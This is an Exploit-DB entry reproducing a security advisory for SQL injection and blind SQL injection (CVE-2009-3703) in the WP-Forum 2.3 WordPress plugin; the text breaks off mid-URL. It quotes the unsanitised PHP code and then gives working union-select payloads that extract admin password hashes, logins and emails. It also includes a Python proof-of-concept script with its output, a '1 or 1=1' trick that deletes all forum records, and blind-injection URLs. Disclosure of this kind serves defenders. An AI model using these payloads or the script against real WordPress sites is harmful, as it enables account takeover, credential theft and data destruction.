Exploit-DB #10488
Description: WordPress Plugin WP-Forum 2.3 - SQL Injection / Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-12-16
Author: Juan Galiana Lara

Exploit:
=============================================
INTERNET SECURITY AUDITORS ALERT 2009-010
- Original release date: September 28th, 2009
- Last revised: December 15th, 2009
- Discovered by: Juan Galiana Lara
- CVE ID: CVE-2009-3703
- Severity: 8.5/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
WP-Forum <= 2.3 SQL Injection & Blind SQL Injection vulnerabilities

II. BACKGROUND
-------------------------
WP-Forum is a discussion forum plugin for WordPress. It works with
WordPress 2+ version and PHP >= 5.0

III. DESCRIPTION
-------------------------
WP-Forum fails to sanitized user supplied input and is vulnerable to
SQL Injection and Blind SQL Injection. An attacker can obtain any data
of the database including user logins and password's of the WordPress
installation, allowing him to obtain access to the application and
gain administration privileges.

For the SQL Injection vulnerability, is possible to concatenate other
sql requests via "union select" sentence. The parameters "search_max"
and "forum" are affected by this flaw.

Snippet of vulnerable code:

In wpf.class file:

1836     $option_max_days = $_POST['search_max'];       // <- this
line is not being sanitized
1837     $option_forums = $_POST['forum'];
1838     if(!$option_max_days)
1839              $option_max_days = 9999;
1840     $op .= " AND $this->t_posts.`date` > SUBDATE(CURDATE(),
INTERVAL $option_max_days DAY) ";
1841
...
1850     foreach((array)$option_forums as $f)
1851             $a .= $f.",";    // <- <- this lines is not being
sanitized
1852
1853     $a = substr($a, 0, strlen($a)-1 );
1854     if(!$a)
1855             $w = "";
1856     else
1857             $w = "IN($a)";
1858
1859     $sql = "SELECT $this->t_threads.parent_id as pt,
$this->t_posts.id, text, $this->t_posts.subject,
$this->t_posts.parent_id, $this->t_posts.`date`, MATCH ($what) AGAINST
('$search_string') AS score
1860     FROM $this->t_posts inner join $this->t_threads on
$this->t_posts.parent_id = $this->t_threads.id
1861     WHERE $this->t_threads.parent_id  $w
1862     AND MATCH (text) AGAINST ('$search_string') $op";

In the case of the Blind SQL Injection, the vulnerable code is...

In wpf-post.php file:

 57     $id = $_GET['id']; // <- $_GET['id'] is directly assigned
 58     $thread = $this->check_parms($_GET['t']);
 59
 60             $out .= $this->header();
 61
 62     $post = $wpdb->get_row("SELECT * FROM $wpforum->t_posts WHERE
id = $id"); // <- id is used without clean up

other example:

1490     function remove_post(){
1491             global $user_level, $user_ID, $wpdb;
1492             $id = $_GET['id']; // <- $_GET['id'] is directly assigned
1493             $author = $wpdb->get_var("SELECT author_id from
$this->t_posts where id = $id"); // id is used without clean up
...
1503             if($del == "ok"){
1504                 $wpdb->query("DELETE FROM $this->t_posts WHERE id
= $id"); <- // id is used without clean up
1505                 $this->o .= "<div class='updated'>".__("Post
deleted", "wpforum")."</div>";
1506             }
1507             else
1508                 wp_die(__("Cheating, are we?", "wpforum"));
1509
1510     }

the "id" parameter is vulnerable in other parts of the source code..

Also, is possible to delete all records in table $this->t_posts and
$this->t_threads because $_GET['topic'] is not properly sanitized,
injecting something like 1 or 1=1

1479     function remove_topic(){
1480             global $user_level, $user_ID, $wpdb;
1481             $topic = $_GET['topic'];
1482             if($this->is_moderator($user_ID, $this->current_forum)){
1483                 $wpdb->query("DELETE FROM $this->t_posts WHERE
parent_id = $topic");
1484                 $wpdb->query("DELETE FROM $this->t_threads WHERE
id = $topic");
1485             }
1486             else
1487                 wp_die(__("Cheating, are we?", "wpforum"));
1488
1489     }

IV. PROOF OF CONCEPT
-------------------------
In the url: http://example.com/blog/?page_id=3&wpforumaction=search
replacing 'page_id=3' parameter with the number of the WP-Forum page
in each case

Is possible to obtain any data of the database. Here is a proof of
concept to obtain user_pass, user_login and user_email of the user
with id=1 of wp_users table (normally admin).

We have to fill the search_max parameter with the value:

9999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1
and subdate(curdate(), interval 9999
9999 DAY) union select 1,1,1,user_login,1,1,1 from wp_users where id=1
and subdate(curdate(), interval 9999
9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1
and subdate(curdate(), interval 9999

## Exploit-DB Note: Try using "999 DAY)" if 9999 doesn't work in your environment.

I wrote a PoC, to get automatically the password hash of the WordPress
admin account:

user () linuz:~$ cat wpforum2.3-poc.py
#!/usr/bin/python

# WP-Forum <= 2.3 SQL Injection PoC
# Juan Galiana Lara
# Internet Security Auditors

import urllib
import urllib2
import re

url = 'http://site//wordpress/?page_id=3&wpforumaction=search'
values = {'search_words' : 'any',
          'search_submit' : 'Search',
          'search_max' : '999 DAY) union select 1,1,1,user_pass,1,1,1
from wp_users where id=1 or SUBDATE(CURDATE(), INTERVAL 9999' }

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
output = response.read()
o = re.search('viewtopic.+>([$].+)<',output)
if o:
        print o.group(1)

user () linuz:~$ python wpforum2.3-poc.py
$P$Bn8oMY.T3kHELf/lnn07L3HXgID4go/
user () linuz:~$

That's it!

For the blind sql injection, here are some examples:

http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=0&t=.0
http://example.com/blog/?page_id=3&wpforumaction=edi